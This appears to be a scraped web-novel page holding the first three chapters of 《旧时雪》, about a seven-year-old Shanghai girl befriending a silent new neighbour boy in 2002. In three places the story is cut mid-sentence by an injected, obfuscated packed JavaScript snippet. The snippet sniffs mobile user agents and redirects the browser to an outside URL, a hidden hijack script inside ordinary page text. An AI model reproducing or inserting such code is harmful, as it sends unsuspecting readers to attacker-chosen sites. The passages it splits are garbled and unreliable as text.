《旧时雪》 1. 01 桑悦日记：「弄堂里搬来了一个新小孩，好像是个不会说话的哑巴。但是我还是决定带他一起玩，因为他家有空调，有不怕弄坏的电脑，还有能收到炫动卡通台的电视机。我宣布，在这个世界上，他是我最羡慕的人！」 - 2002年暑假的第一天，桑悦从外婆口中听来一桩新闻。 “弄堂后头那个空房子，有人家搬得来咧，好像有个小人帮侬差不多大。” 外婆每天上午都要念经烧香，随便说了句就爬上阁楼。 没几分钟，清淡的降真香味从阁楼上飘下来。 桑悦个子小小的，站在梯子底下往上望，只能看到黑黝黝的、贴着报纸的阁楼天花板。 她懒得爬梯子上楼去，只在底下撕心裂肺地喊：“外婆！外婆！阿拉中午吃什么呀？——” 这一年，桑悦刚刚七岁。 外婆家的弄堂位于河南中路和南京东路的交叉口，是上海市最最最中心的地段，出门就是南京路步行街，距离上海地标外滩还不足十五分钟步行距离，每天都有游客来来往往，十足热闹。 弄堂口是一栋四层楼的老房子。楼里的屋子面积小，每层都住了有十几户人家。 桑悦就住在四楼最里面，小小一间，也就二十来平，没有厕所，厨房是整层邻居共用的公共厨房，阁楼还是桑悦的外公自己搭出来的。 外婆一共有五个孩子，都是女儿，桑悦妈妈排行老二。 早些年，家里五个女儿都挤在这二十多平的老房子里，实在不够住，外公就在上头搭了个阁楼，放了一张双人床一张单人床，刚好缓解了家里床不够睡的压力，还能有位置摆外婆的佛像和香炉。 现在是桑悦和外婆一起睡阁楼上的双人床。 她个子小，那个梯子又不是楼梯，是那种可以移动的木梯，架在那里也没什么防护措施，对小孩子来说，这样腾空爬起来很恐怖，总觉得一个不小心就会掉下去。 所以，如果不是必要，除了睡觉起床，她都不会上去。 桑悦在底下一连喊了好几声。 外婆终于念完一遍大悲咒，摇着广告扇，空出功夫回答她：“吃大馄饨！虾肉额！” “好！” 得到满意答案后，桑悦踮起脚尖，从五斗橱上摸来家门钥匙，蹦蹦跳跳地出了门。 穿过长长的、白天也昏暗的走廊，楼梯就在公共厨房旁边，转角两边全都是大敞着的玻璃窗户。 距离正午还有好一会儿，但阳光从窗外洒进来，称不上温暖，只有闷热。 六月下旬的上海，早已暑意满满。 临海的湿气混合着每天三十多度的气温，叫人总觉得浑身上下都是黏糊糊汗津津的，动一下就要冒汗。 不舒服，但还能忍。 毕竟每个夏天都是如此。 桑悦踩着陈旧的楼梯，“哒哒哒”，风一样地跑下楼。 迎面碰上邻居爷叔，惯例得来一句熟悉的调侃：“悦悦，噶热的天，又出去蹿弄堂啊？当心那外婆骂侬咧！” 桑悦笑嘻嘻的，声音清脆，响亮应和：“外婆在念佛，不会的！” “个么侬出去当心点哦！不要跑到弄堂外头去！” “晓得咧！爷叔再会！” 最后两级楼梯，桑悦“咚”一下跳下去。 入目处，是凹凸不平的地面，因为颜色的关系，看起来有点脏兮兮的，边边角角还有青苔丛生。 再远一些的地方，有几个大爷穿着老头背心，坐在躺椅上热火朝天地打斗地主。 桑悦怕被喊住打招呼，故意放轻了脚步，从另一边绕出去。 弄堂很长，靠近外婆家这边的出口外面是永和豆浆，另一边还有鳞次栉比的石库门老房子，就这么被一条弄堂穿在一起。 桑悦的目的地是弄堂另一头的出口，她要过马路，到对面的商店里去。 对面是一家卖钟表的老店，叫亨得利，上下有两层楼，巨大的招牌挂在外面，绕了一圈霓虹灯，晚上还会亮灯，看着特别时髦。 不过，亨得利里面的店员可不是好相与的，总是上上下下地打量人，估计着来人是否消费得起。如果穿着贵气，会收获热情的上海普通话招呼，如果穿得普通，就是不冷不热的“随便看”，附加背过身的一个白眼。 桑悦这样的小孩，压根不是目标客户。 她是去蹭免费空调的，自然，被翻白眼是常有的事。 几次下来，桑悦的脸皮练出来，无论那几个柜员阿姐阿姨说什么，都不会脸红了。 …… 2002年，外婆家还没有装空调，夏天依靠电扇和扇子度过。 桑悦实在怕热，每天最喜欢的事就是跑去亨得利，坐在门口的台阶上，吹着出入口的冷气，撑着下巴，等待每小时的整点和半点到来。 亨得利一楼放了一整排的落地摆钟，钟摆摇摇晃晃，其中有几个钟，每逢整点和半点都会报时。当然，最重要的是，里面有个鸟屋造型的挂钟，一到整点半点，就会有一只布谷鸟从钟上蹦出来，布谷布谷地叫。 桑悦很喜欢这只报时的小鸟，经常要来看它。 但外婆家太小也太旧，墙纸皮都剥落了，没有地方来挂这样的一个钟。 她只能眼馋地看看。 怀揣着这样期待雀跃的心情，桑悦迎着阳光，蹦蹦跳跳，一路跑过了长长的弄堂。 然而，今天是非比寻常的一天。 跑到巷尾时，她被一辆大卡车挡住了去路。 弄堂本就不宽，大卡车堵着出入口，旁边还有好几个男人在上上下下地搬家具，一点缝隙都没给人留。 桑悦停下脚步，思索着该从哪边出去，要不要麻烦别人让一下。 正此时，远远响起了报时的乐声。 是外滩的海关大楼在准点报时。新一个整点到了，布谷鸟叫完就要回巢了，半小时后才会重新出来。 这下，她也不再着急，靠到墙边，一边等，一边好奇地注视着那些人搬家的动静。 那行人忙忙碌碌的，进进出出半天都没搬完。 桑悦逐渐失去耐心，垂下眼，鞋尖一下一下蹭着地面，小声嘟嘟囔囔：“他们怎么有那么多东西呀……” 话音未落，她目光一晃，看到了一个小男孩。 男孩看起来和她差不多大，坐在不远处的花坛上，身边就是大敞着的石库门。 倏忽间，桑悦想到了外婆说的话。 空房子搬来了一户新人家，有个和她差不多大的小孩。 弄堂里大多是大人，大部分人家有小孩了就会搬走，搬到新家去。 因而，和桑悦同年龄的小孩子，整栋楼几乎没有。 石库门里倒是有几个小朋友，但现在基本都已经念小学了，是戴绿领巾红领巾的小大人了，放假也不乐意带着她一起玩。 不知道这个小孩多大？ 他会不会也喜欢听布谷鸟报时呢？ 桑悦贴着墙，磨磨蹭蹭地靠过去，在那个男孩面前站定。 她挤出了生平最用力的一个笑，朝对方打招呼：“侬好呀。” “……” 男孩一言不发，只是抬起头，默默看了她一眼。 这时，桑悦才看清他的脸。 以一个七岁小孩的审美来看，男孩长得相当漂亮，眼睛比她还大，宽宽的双眼皮，眼珠又圆又亮，鼻子嘴巴也生得好，比上少儿频道节目里的小孩都好看。 只是，他脸上没什么表情，面对桑悦的问好，也没露出半分笑来。 桑悦疑心他没听懂，想了想，不太流畅地切换成普通话：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172606|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你好呀，你是新搬来的邻居吗？我叫桑悦，住在那边的楼里，你叫什么名字？” “……” 男孩依旧没有回答，重新低下头去。 桑悦顺着他的视线一路往下，看到了他的衣服和鞋，都是崭新的，还是正正好好的尺码。 在这个年纪，桑悦还没有品牌的概念，但依照她妈罗英女士的观点，小孩子长得快，衣服和鞋就该买大一码，来年还能再穿穿，免得浪费。 罗英女士是这个家中收入最高的人，也是桑悦外婆的五个女儿里，学历最高，是正正经经的大学生。 九几年上山下乡的时候，罗英的大姐罗莉占了家里留沪工作的名额，使得罗英高中毕业就去了青浦农场插队落户，但她只用了一年，1978年，恢复高考的第二年，就靠着高考重新考回了市里的大学，现在在电厂里做工程师，职位不低，是绝对的高收入人群。 但就算能赚钱，罗英女士还是精准贯彻了上海人节约的观念，绝对不能多花一分钱。 因此，此刻，桑悦的裙子和运动鞋，全都大了半个码，不太合身的样子，和面前这个男孩形成了鲜明反差。 她感觉有点不好意思，往后退了半步，红着脸问：“你是住在这里吗？” 男孩始终不说话，让小桑悦的追问显得有点尴尬。 幸好，这会儿功夫，旁边叮叮哐哐都搬得差不多了。一个年轻女人给那几个男人结了钱，等他们把卡车开走，转身走过来。 “清清？怎么等在这里……咦？你是住在这里的小朋友吗？” 女人烫着洋气的卷发，穿着白色短袖衬衫，下面是到小腿的长裙，打扮得很漂亮。 她蹲下身来，和善地朝着桑悦笑。 桑悦想到，罗英也有一条这样款式的裙子，停顿了一下，才出声回答问题：“姐姐你好，我是住在前面的桑悦，今年七岁，九月份就要上小学了。” 那漂亮女人笑得更开心，眼睛弯成一条线，温温柔柔地冲着她摆手，“什么姐姐呀，是阿姨了。我是沈照清的妈妈，叫李觅，你叫我李阿姨就好。我们今天刚搬过来。” 说着，她推了那个男孩一下，“清清，打招呼呀！” “……” “沈照清，可以这么没礼貌伐？妈妈怎么帮侬讲的？” 沈照清还是低着头，不肯说话。 李觅只得无奈放弃，指着他，同桑悦说：“他就是沈照清，跟你一样，都是七岁，以后你们可以一起玩。来，进来吃点零食吧。” 桑悦从小被教导，不能随便去人家家里吃东西，连忙摆手拒绝。 但架不住她太想有个同龄玩伴，在李觅的盛情邀请下，还是跟着母子俩一块儿进了石库门里。 沈照清他们住在里头的第三间。 李觅推开门，对桑悦说：“里面东西还没收拾好，你们就坐沙发这里一起看会儿电视可以吗？” 桑悦压根没听清她说了什么。 她只感觉到扑面而来的凉气。 “阿姨，你家里开空调了呀？” 李觅：“对啊，今天还蛮热的咧。怎么啦？悦悦，你冷啊？” 桑悦拼命摇头，“我不冷！好舒服啊！” 从这一刻起，她打定主意，一定要和沈照清做朋友。 这样她就能常常来蹭空调了。 只是，沈照清一直不说话，让两人的关系无法快速拉近。 现在是2002年，Windows XP刚出没多久，电脑尚未完全普及，还需要电话线拨号上网的年代，“高冷”这个形容词还没有诞生在这个世界上。 桑悦坐在沈照清家的沙发上，思考良久，用尽一个七岁孩子毕生所学，犹犹豫豫地小声问他：“沈照清，你是不是不会说话的哑巴啊？” “……” 2. 02 沈照清正在给遥控器装电池。 他们刚搬过来，屋子里堆满了各种纸箱杂物，李觅还没来得及整理，唯独只给电视接上了电。 装箱的时候，遥控板是沈照清收的，电池早就拔出来，现在要重新装回去才能用。 听到桑悦小心翼翼的提问，沈照清诧异地扭头看了她一眼。 刚刚进门时，沈照清已经偷偷观察过这个突然冒出来的小女孩。 桑悦和他差不多高，但是比他要胖一些，圆圆的脸，肉肉的手臂，看起来就是个雪做的糯团子，满脸孩子气，像幼儿园小班的小孩，一点都没有即将成为小学生的样子。 ……现在看来，果然很幼稚！ 沈照清拒绝回答桑悦这个问题，打开电视，把装好电池的遥控器放到她身边的沙发上，自己到里间去帮李觅理东西了。 他这么一走，桑悦突然发现，沈照清家比外婆家大不少，不仅有内外两间房间，好像还装了新的、单独的卫生间。 弄堂里大部分人家现在都还在用痰盂，或者去弄堂里的公厕，没有条件装独立卫浴，洗头洗澡都不方便。 譬如桑悦外婆家，要是家里有个谁要洗澡，就要让外公先避出去，然后拿个大号塑料盆，在吊扇上挂上半透明的大号红色塑料布，围着塑料盆套一圈，弄出一个聊胜于无的隔断帘，再往盆里倒上热水，人坐进去洗。 夏天勉强还算好，冬天这么洗一趟，塑料布围得再严实还是四面漏风，冷得没法说，必须得有人帮忙一次一次加热水。 有卫生间真好，每天不用一趟趟下楼倒痰盂，也能舒舒服服洗澡了。 桑悦止不住内心的羡慕。 不过，未经主人允许，她没有在别人家里胡乱走动，也没拿李觅放在旁边的水果零食，只乖乖坐在沙发上，双手端端正正地盖着膝盖，看电视。 沈照清家的电视也和外婆家不一样。 虽然都是显像管电视，但桑悦外婆家的是老款，沈照清家的是新款。 最重要的是，外婆为了省钱，没接有线电视，只能看十个台。 像沈照清现在播的这个炫动卡通台，桑悦之前从来没看过。 她只听幼儿园的同学说过，说这个台每天都会放各种不同的动画片。 现在，台里在放一个叫《四驱兄弟》的动画片，讲几个小孩子用四驱车比赛的故事。 桑悦认的字不够多，字幕不能完全看懂，只能仔仔细细听着。 一不小心，就入了迷。 等这集结束，插播广告时，李觅领着沈照清走出来，笑吟吟问桑悦：“悦悦要不要留在我们家吃饭？今天我们吃菜汤面哦！” 闻言，桑悦吓了一跳，立马去看墙上挂着的时钟。 居然已经快要中午11点半了！ 外婆肯定已经念完经下阁楼了！ 她手忙脚乱地从沙发跳下去，匆匆同李觅和沈照清挥手，“伐切啦！谢谢阿姨让我看电视！我外婆要来找我了，我先回家啦！沈照清，晚点我再来找你玩噢！或者你来找我也可以，我住在那边的楼里，四楼！四楼最里面！我叫桑悦！桑树的桑，喜悦的悦。很高兴认识你！” 沈照清：“……” 他别过头，故意不去看这个自来熟的小邻居。 余光里，桑悦已经飞快冲出他家，跑到弄堂里，像个小炮弹一样，头也不回地跑走了。 …… 2002年的夏天，桑悦自说自话地认识了一个叫沈照清的新朋友。 她想要将这件事告诉外婆，但还没跑上楼，邻居阿婆已经看到她，笑眯眯地逗她：“悦悦跑到啊里的起啦？那外婆找侬找较怪辰光来，等些回去要请侬吃生活咯！” （悦悦跑到哪里去啦？你外婆找你找了很久，等会儿回去你要挨打喽。） 桑悦脚步不停，小短腿费力地往上跨，一次走两级，还不忘气喘吁吁地回答阿婆：“不会的！阿拉屋里不打孩子！” “哈哈哈哈！侬个小宁！……” 桑悦上了四楼，往厨房里瞄一眼，就看到外婆拉着个脸，在公用厨房的水池子里洗东西。 桑悦外婆姓田，有个特别好听的名字，叫书秀。 在很早很早之前，田家是地主，到田书秀小时候才开始逐渐落魄，故而她爸妈都是上过学念过书的，取出来的名字也很有书香气。 相比之下，田书秀给五个女儿的名字，就显得简单了不少。 当初罗英为了工作，到将近四十岁才结婚，生下桑悦。田书秀今年六十过半，个子不高，人胖胖的，和马路上这个年纪的阿婆没什么差别，唯独表情总是不太好，嘴角向下拉着，一双眼睛盯着人看的时候，显得有些不太和蔼。 但桑悦一点不怕她，笑嘻嘻地就跳上去，一把抱住田书秀的腰，“外婆！” 田书秀关掉水龙头，转过身盯着她：“悦悦，侬刚刚跑到啊里的去了？” 田书秀是不会讲普通话的，也听不太懂，故而，桑悦也用上海话回答她：“后头新来的人家，我出去正好旁到以拉，就到以拉屋里响去看电视啦！” （后面新来的人家，我出去正好碰到他们，就去他们家里看电视啦。） 闻言，田书秀阴阳怪气道：“已经去看过了？侬倒帮那爷一样，蛮会搭呃。” （你和你爸爸一样，很会搭的。） 田书秀对桑悦她爸非常讨厌，准确来说，五个女儿，其中四个已经结婚，她平等地不喜欢四个女婿。 无论是在女儿面前，还是孩子面前，从来不掩饰分毫，讲话时常有些市井中的刻薄气。 桑悦打小跟着外婆一起长大，早就习以为常，听了依旧还是笑，嗲嗲地撒娇：“外婆外婆，馄饨烧好了伐？” “早好了，侬再白相一些就糊特了。”【注1】 “那我们快点去吃吧！外婆，等些我给你打扇子呀！侬覅生气啦！” …… 桑悦外婆家的晚饭，一般在晚上六点左右开始。 到饭点之前，桑悦妈罗英、桑悦外公、没结婚的四姨罗枚、还有大姨罗莉的女儿贺云皎，全都会回到这里。 这几天三姨罗芬的儿子、也就是桑悦表哥回了自己家。 平时他在附近上学，也是每天住在这屋子的。 二十几个平方的小房间，被大大小小的一家子挤得满满当当。一齐围在桌边吃饭时，弄堂里的各种新闻齐飞，做为下饭的谈资。 小小一张桌上，好像这个世界都没有秘密。 像最近菜价又涨啦、弄堂的老徐头搓麻将输了拗台脚啦、或是谁家女儿找了个男朋友啦、谁谁谁又换工作啦……叽里呱啦，和着屋外传来“叮叮咚咚”锅碗瓢盆的声音、油烟机“嗡嗡”的声音、以及弄堂里邻居走动说话大笑的声音，组成了每日准时准点的夕阳交响乐。 今日话题自然离开不了弄堂里来的新邻居。 田书秀已经向罗英介绍了桑悦今日窜弄堂的丰功伟绩，所有人的注意力霎时转移到桑悦身上。 “悦悦，你去过，你讲讲看，他家弄的怎么样？” 桑悦立刻表达了自己的羡慕：“沈照清家有空调！有厕所！还有有线电视！哦，还有，他妈妈老漂亮的。” 罗枚下班早，从弄堂里溜达一圈回来，已经把消息打听得差不多。 “长脚说，搬过来的就母子两个人。” 长脚是桑悦他们四楼一个邻居的绰号，是个个子特别高的中年男人，算是弄堂里的包打听吧，什么事都喜欢传，消息准确率一向挺高。 罗英有点惊讶，“单亲啊？” 罗枚：“好像是老公格姘头离婚的吧。” “……” 桑悦年纪尚小，暂时还不能准确理解什么叫“格姘头”，听了半截就失去耐心。 她和表姐贺云皎坐在一起，自顾自地一边吃饭一边看电视。 此时，东方卫视正在播放“老娘舅和他的儿孙们”，全上海话版搞笑情景剧，每日不能错过。 早在桑悦学会说“How are you? I''m fine. Thank you. And you? ”之前，她已经学会了老娘舅里阿庆爷叔最经典的口头禅——“珍珠奶茶真好喝。” 2002年，珍珠奶茶在上海才刚刚兴起没多久，但桑悦决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172607|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定要赶在潮流前线，找机会求罗英带她去尝一尝味道，就算被罗英骂不健康不卫生不干净也要买来喝。 等她上了小学，就能和同学们介绍了。 或许，也可以先和她的新伙伴沈照清介绍一下。 如果沈照清愿意让她时不时去他家蹭空调的话，她也不介意分他一半喝。 - 弄堂里的生活简单又生动，日子过得不疾不徐的。 第二天第三天第四天，桑悦经过沈照清家时，石库门里面都是静悄悄的，好像没有人在。 她不好意思自说自话推开那扇闭着的黑色大门，只能讪讪走开，继续往前，踏上日复一日去亨得利钟表店蹭空调的征程。 不过，罗英答应她，过两天会从单位里借一套《还珠格格2》的VCD碟片来给她看。 等碟片借来，桑悦也就没那么多时间天天在外面窜弄堂了，白天得抓紧时间守着电视。晚上家里要看本地新闻、看天气预报、看案件聚焦、看抗战剧，没时间让她看这些杂七杂八的东西。 …… 第五天，桑悦白天没有出门。 昨天临睡前，她发现自己有颗牙齿开始摇摇晃晃。 罗英去找了一根缝被单的线，和之前一样，打算自己动手，给她把牙齿拔下来。 桑悦怕疼，最害怕用线拔牙，死活不愿意，非要强撑着，等牙动得厉害点再弄。 这事儿导致她连出门玩的心情都没了，坐在窗前，有一下没一下地摇着里面那颗乳牙，手动加速它自己掉落的速度。 田书秀爬梯子上楼前，看到了桑悦恹恹的模样，动作停顿一下，告诉她：“悦悦，侬胖哥哥过两天要过来了，慢较叫伊带侬测起白相（晚点叫他带你出去玩）。” 这个年代，上海独生子女政策实行得极好。 罗英在央企工作，只能生一个孩子。 桑悦是她的独生女。 哥哥是罗芬的儿子周骏才、也就是桑悦表哥。加个胖字，特指他的体型。 无论是周骏才还是表姐贺云皎，大家全都是独生子女，又是打小一起在外婆家长大的，便也不分堂表之类，一律按照哥哥姐姐相称。 周骏才平常是住在外婆家的，他比桑悦大5岁，之前一直在附近上小学，只有放假才会回自己在杨浦区的家里。 九月开学之后，他就要转回杨浦去念初中了，以后估计也没法常常过来。 不过，时逢暑假开始，罗芬和她老公都要工作，白天家里没人，又不放心周骏才一个人待着，还是把他送到了田书秀这里。 桑悦一听哥哥要回来，立马精神起来。 周骏才念书一般般，调皮捣蛋的，但性格很好，只要有空就会领着桑悦到处玩。 田书秀不让桑悦跑出弄堂，但周骏才带着她，就能去步行街上溜达了。 她迫不及待，连牙都忘了，仰头对着阁楼大喊问道：“外婆，胖哥哥什么时候来啊？” 田书秀：“过几天！” 过几天……是几天呢？ 桑悦茶饭不思一整天，终于在吃完晚饭吹电风扇的时候，才想起来今天没去看看沈照清回来没有。 她行动力还算强，立马换了鞋，掉头跑出家门。 上海的夏天天黑得晚，七点多还不是完全墨色的天，有若隐若现的光亮。 弄堂里各家各户都已经亮起灯，锅碗瓢盆在各处唱歌。 桑悦小小一个人，穿过长长的巷子，跑到了最远的石库门口。 这一回，石库门半敞着，能看到里面的巷子有人影攒动。 她小心翼翼地从门里挤进去，走到里头第三间房的门外，趴在门上听了下里面的动静，抬手敲门。 “沈照清、沈照清？你在家吗？我是桑悦！你回来了吗？” 没等太久，屋里传来脚步声。 沈照清将房门打开一条缝，面无表情地看着桑悦。 桑悦笑起来脸更圆了，在路灯光里，像个糯米团子。 她问沈照清：“要不要一起看动画片呀？但只能用你家的电视看。……作为交换，过两天让我哥哥带我们一起出去玩吧！” 3. 03 沈照清没说话，但也没拒绝她，默默让开身位，将房门拉开，用行动示意桑悦进来。 “那我进来啦！” 说完，桑悦自觉主动地在门口换了拖鞋，“噔噔噔”走进了屋里。 李觅不在，沈照清是一个人在家。 桑悦眨眨眼睛，有点惊讶地问道：“李阿姨没在家吗？你怎么一个人呀？” 桑悦从来没有一个人在家过。 她是罗英三十七岁多才生的孩子，外婆总说，她是罗英的小宝贝，一点差错都不能出，磕了碰了都是不得了的大事。 既然有小宝贝，那自然也有大宝贝。 田书秀厌恶桑悦她爸，从来不忘顺口挑拨一下：“你妈的大宝贝是你爸。一大一小，两则宝。” 桑悦从有记忆开始就住在外婆家，和她爸一年见不了两回。小孩子忘性大，也不是很在意自己爸爸被说。不生活在一起，到底是少了些感情。 相比之下，她更在意外婆。 田书秀额头上有个很大很凸起的包，头发都盖不住。 据罗枚说，在桑悦三四岁的时候，田书秀趁着她早上睡觉去买菜，把她一个人留在阁楼上。回来刚走到弄堂口，就听邻居说她在家里哭，怕她从阁楼摔下来，立马跑回去。当时就是因为跑得太急，摔了一下，额头上磕出来的大包，这么些年也没消下去。 所以，无论田书秀嘴里说说叨叨一些什么古怪的话，桑悦都不会在意。幸好她年纪小，确实也听不大懂那些俚语。 她只知道，家里一直是有大人在的，无论是外婆外公还是妈妈四姨，说是怕家里的小孩乱玩插座电线、或是撞到头摔跤之类的。 桑悦：“我妈说，我们都是小孩，一个人在家不安全。李阿姨去哪里了呀？” “……” 闻言，沈照清头也没抬，一言不发地坐到桌边，继续吃自己的晚饭。 桑悦垫脚看了一眼，他面前是一碗菜汤饭，不过没冒什么热气，看起来已经放凉了很久。 上回是菜汤面，这次是菜汤饭，沈照清他们吃得也太简单了。好可怜。 她想了想，决定看在他大晚上一个人惨兮兮的份上，把自己最喜欢的零食分享给他：“沈照清，你吃不吃巧克力？” “……” “等一等，我去家里给你拿哦！” 说完，糯米团子又“骨碌骨碌”地换了鞋，风一样跑出去。全程连电视机都没顾得上打开一下。 沈照清放下调羹，目光不由自主地追随着桑悦的背影。 为了方便洗头，桑悦一直是短头发。 小孩子也没什么发型可言，就是最普通的苹果头。脑袋后面有点蓬，随着她的动作一跳一跳的，每根头发丝都像装了小弹簧一样。 没过太久，苹果头又重新回到了沈照清的视线里。 夏天天气闷热，哪怕是夜晚，这样跑两圈也难免冒汗。桑悦抓着个透明保鲜袋，满头大汗地冲进沈照清家，献宝一般冲他摇了摇，“沈照清，你看！” 保鲜袋里装着一块一块敲碎的黑巧克力。 1984年，费列罗已经进入国内销售，罗英单位工资高福利好，时不时会发点巧克力干果，也时不时会有同事把一大盒一大盒的费列罗送来做人情。 但桑悦家吃得最多的还是她手中这种蜂皇浆巧克力，在步行街上的上海食品一店里就有卖，比两个手掌合起来还大的一整块，用双层包装纸包好了售卖。 田书秀把它买回来，用菜刀刀背一点点敲开，敲成一小块一小块，装在保鲜袋里，想到了就摸一块给桑悦，自己却不怎么舍得吃。 从节约省钱这方面来说，罗英罗枚都绝对是田书秀亲生的，行事简直如出一辙。 桑悦为了在妈妈和外婆眼皮底下把这袋巧克力拎出来，可是费了些力气。 还好外公帮着打掩护，才让她顺利跑出来。 但面对沈照清，她也没露出什么舍不得的意思，很大方地就挑了一大块递到他眼前，“喏，你尝尝吧。” 没办法，蹭空调和蹭电视都是长久之计，还是得先和沈照清打好关系才行。 哪怕不是为了蹭空调，桑悦在弄堂里也难得有同龄的小伙伴，总要交到这个朋友，说不定上小学了之后还能一起上学放学呢。 她爱说话，又实在怕寂寞，没人一起走的话也太无聊了。 “……” 沈照清盯着桑悦伸出来的手心看了好一会儿，但却迟迟没接。 终于，桑悦忍不住催促道：“你快拿呀！” 沈照清是实打实的上海人，但却不怎么爱吃糖果巧克力这类甜食。李觅以前端午节做赤豆粽给他沾白砂糖，他碰也不碰，宁可干吃淡的粽子。后头李觅也不怎么弄赤豆粽白粽了，全都换成咸肉粽才皆大欢喜。 不过，这没必要和桑悦说。 沈照清小脸微微皱了起来，迟疑片刻，到底还是从她手上接过了那块巧克力，塞进嘴里含着，试图一点一点往下咽。 桑悦一点没看出他的为难，只顾着傻乐。 她扯过沈照清的手，非常用力地和他握了下手，笑道：“那以后我们就是好朋友啦！” “……” 谁答应的？她也太自说自话了！ 沈照清扭开脸，想了想，还是起身将电视遥控器找出来，放到沙发上最显眼的位置。 见状，桑悦摆摆手，捶胸顿足地叹气：“今天看不了了，我妈要叫我睡觉啦！明天，明天你还在家吗？我来找你玩好不好？” 沈照清沉默了一下，点点头。 …… 凭借着一块巧克力，桑悦和沈照清的友谊成功打下了一块小小的地基。 之后几天，两人早上下午都在一起玩。 沈照清不说话，桑悦话却密，什么鸡毛蒜皮的小事都能聊能说。 比如他们俩一起在看的动画片《四驱兄弟》，桑悦喜欢小烈，也喜欢阿吉，每逢他俩出场比赛，总要拍着手、热情洋溢地表达一番自己的喜爱。 她终于也带沈照清去了亨得利，坐在空调底下的台阶上，让他一起听布谷鸟报时。 桑悦撑着下巴，等海关大楼的钟声结束，闷声开口：“沈照清，我告诉你一个秘密。” “去年夏天，我们四楼有个邻居家装了空调，门缝里会有冷气吹出来，特别舒服。我路过就会走得慢一点，想多布一会儿。” 上海话里，吹空调的说法叫“孵空调”。 “后来停得太久，被人家发现了。那家人和我外婆关系不好，就抓着我，说我是小偷，想偷他家的东西。然后我妈我外婆就和人家吵架，但回来还是骂我。” 桑悦小小的脸上难得露出一丝愁容，“沈照清，我可羡慕你了，你一个人在家都能开空调，你妈妈应该很有钱吧？” 沈照清盯着亨得利里面的摆钟出神，像是压根没听她在说什么。 桑悦也不介意，站起身， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172608|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍拍裤子，“我要回去吃午饭了，今天我家吃饺子，你要不要来？我可以把我的那份分你一半。” 外婆肯定舍不得莫名其妙给沈照清吃一碗。 但她往常能吃十二个饺子，如果沈照清想吃的话，她今天可以只吃六个，剩下的匀给他。 沈照清当然没有去桑悦家吃饺子，李觅每天都不在家，他就吃李觅准备好放在冰箱里的冷饭冷菜。现在天气热，饭菜在室外摆一会儿，就能下咽。 桑悦毫不意外沈照清的拒绝。 小哑巴一向就是这么爱答不理她的。 只不过，之后桑悦再去他家，每一次，沈照清都会提前打开空调，把室温打得凉飕飕的，比商场还舒服。 …… - 到七月开始几天后，周骏才总算被罗粉送来了外婆家。 小桑悦喜欢周骏才，总是“胖哥哥胖哥哥”地跟着他跑。外婆觉得周骏才太调皮捣蛋，怕不安全，总让外公带着他出门，他再带上小尾巴桑悦一起。 现在，小尾巴又拖上了新的小尾巴沈照清。 沈照清刚刚搬来弄堂这边，桑悦央着外公和周骏才，带他们俩小孩一起去逛城隍庙。 城隍庙就是后来的上海豫园，也是地标景区。 从桑悦家出发，走过去大约二十分钟。哪怕小孩走得慢，最多也就半小时。 坐公交车车票要一块钱，外公、加上已经要买半价票的周骏才，这钱外婆是肯定不会让外公花的，他们只能走路。 桑悦外公是个高高瘦瘦的男人，长得相当不错，有点长身玉立的意思，和矮矮胖胖的外婆像是两个极端。 外公身体不好，在桑悦仅有的记忆里，就住过好几次院，平日在家也是不怎么讲话的，混在一家子女人里，像一道沉默的影子。 据罗英所说，外公以前一直在青海工作，一年到头都回不了家。但因为每天接触辐射，不到六十岁就得了癌，动过手术之后就在家修养，已经修养了好些年。 年仅7岁的桑悦还不曾听说过“两弹一星”，也不知道什么是党员，只知道外公身体不好，但对孩子们都很随和，比外婆好说话得多。 像之前，贺云皎要找工作，买了个台式机电脑，就是外公把电脑桌和主机搬到四楼来的。 因此，桑悦也确信，外公不会拒绝她的请求。 捡了个没太阳的阴天，四人起了大早，踏上了去城隍庙的路。 外公走在最前面。 后面拖着三个半大小孩。 四个人走过干净平整的马路，路过索尼爱立信的广告牌，穿过立交桥和地下小商品市场，来到城隍庙，到九曲桥上转来转去地玩闹。 外公给桑悦他们买了一瓶冰的酷儿果汁，让他们仨分着喝。 酷儿太甜，沈照清拒绝。 最后一整瓶都进了桑悦和周骏才的肚子里。 走了太久，桑悦满脸都是汗，用罗英给她的手绢随便擦了几下，又立马扭头去找沈照清，怕他在游客中走丢。 幸好，沈照清就站在外公旁边，没被人抱走。 他脸上额头上一点汗都没有，看起来完全不怕热。 桑悦心里羡慕不已，“蹬蹬蹬”跑过去，摸了摸他光滑白皙的手臂，“好凉啊。” 沈照清立马“唰”一下收回手。 桑悦嘟起嘴抱怨：“摸一下有什么关系，这么小气干嘛。” 不过，她才不会和沈照清生气。 